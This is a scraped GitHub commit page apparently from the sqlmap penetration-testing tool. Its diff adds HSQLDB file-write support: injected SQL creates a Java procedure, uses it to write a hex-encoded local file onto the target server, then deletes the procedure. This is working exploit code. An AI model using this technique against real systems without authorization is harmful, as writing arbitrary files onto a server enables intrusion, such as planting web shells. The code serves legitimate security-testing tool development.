Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit babe52e

Browse files
tree-chtsectree
andauthored
HSQLDB write file support (#4379)
* Make asterisk work with --csrf-token option * add --file-write support in HSQLDB Co-authored-by: tree <[email protected]>
1 parent 231c3da commit babe52e

2 files changed

Lines changed: 58 additions & 3 deletions

File tree

plugins/dbms/hsqldb/filesystem.py

Lines changed: 48 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,12 @@
55
See the file 'LICENSE' for copying permission
66
"""
77

8+
from lib.core.common import randomStr
9+
from lib.core.data import kb
10+
from lib.core.data import logger
11+
from lib.core.decorators import stackedmethod
12+
from lib.core.enums import PLACE
13+
from lib.request import inject
814
from lib.core.exception import SqlmapUnsupportedFeatureException
915
from plugins.generic.filesystem import Filesystem as GenericFilesystem
1016

@@ -13,6 +19,45 @@ def readFile(self, remoteFile):
1319
errMsg = "on HSQLDB it is not possible to read files"
1420
raise SqlmapUnsupportedFeatureException(errMsg)
1521

16-
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
17-
errMsg = "on HSQLDB it is not possible to write files"
18-
raise SqlmapUnsupportedFeatureException(errMsg)
22+
@stackedmethod
23+
def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
24+
25+
funcName = randomStr()
26+
MAX_BYTES = 2 ** 20
27+
28+
debugMsg = "creating a Java Language Procedure '%s'" % funcName
29+
logger.debug(debugMsg)
30+
31+
addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName, MAX_BYTES)
32+
addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL "
33+
addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'"
34+
inject.goStacked(addFuncQuery)
35+
36+
logger.debug("encoding file to its hexadecimal string value")
37+
38+
fcEncodedList = self.fileEncode(localFile, "hex", True)
39+
fcEncodedStr = fcEncodedList[0][2:]
40+
fcEncodedStrLen = len(fcEncodedStr)
41+
42+
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
43+
warnMsg = "the injection is on a GET parameter and the file "
44+
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
45+
warnMsg += "bytes, this might cause errors in the file "
46+
warnMsg += "writing process"
47+
logger.warn(warnMsg)
48+
49+
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
50+
logger.debug(debugMsg)
51+
52+
# http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
53+
invokeQuery = "call %s('%s', cast ('%s' AS VARBINARY(%s)))" % (funcName, remoteFile, fcEncodedStr, MAX_BYTES)
54+
inject.goStacked(invokeQuery)
55+
56+
logger.debug("removing procedure %s from DB" % funcName)
57+
delQuery = "DELETE PROCEDURE " + funcName
58+
inject.goStacked(delQuery)
59+
60+
message = "the local file '%s' has been successfully written on the back-end DBMS" % localFile
61+
message += "file system ('%s')" % remoteFile
62+
logger.info(message)
63+

plugins/dbms/hsqldb/fingerprint.py

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -144,3 +144,13 @@ def checkDbms(self):
144144
def getHostname(self):
145145
warnMsg = "on HSQLDB it is not possible to enumerate the hostname"
146146
logger.warn(warnMsg)
147+
148+
149+
def checkDbmsOs(self, detailed=False):
150+
if Backend.getOs():
151+
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
152+
logger.info(infoMsg)
153+
else:
154+
self.userChooseDbmsOs()
155+
156+

0 commit comments

Comments
 (0)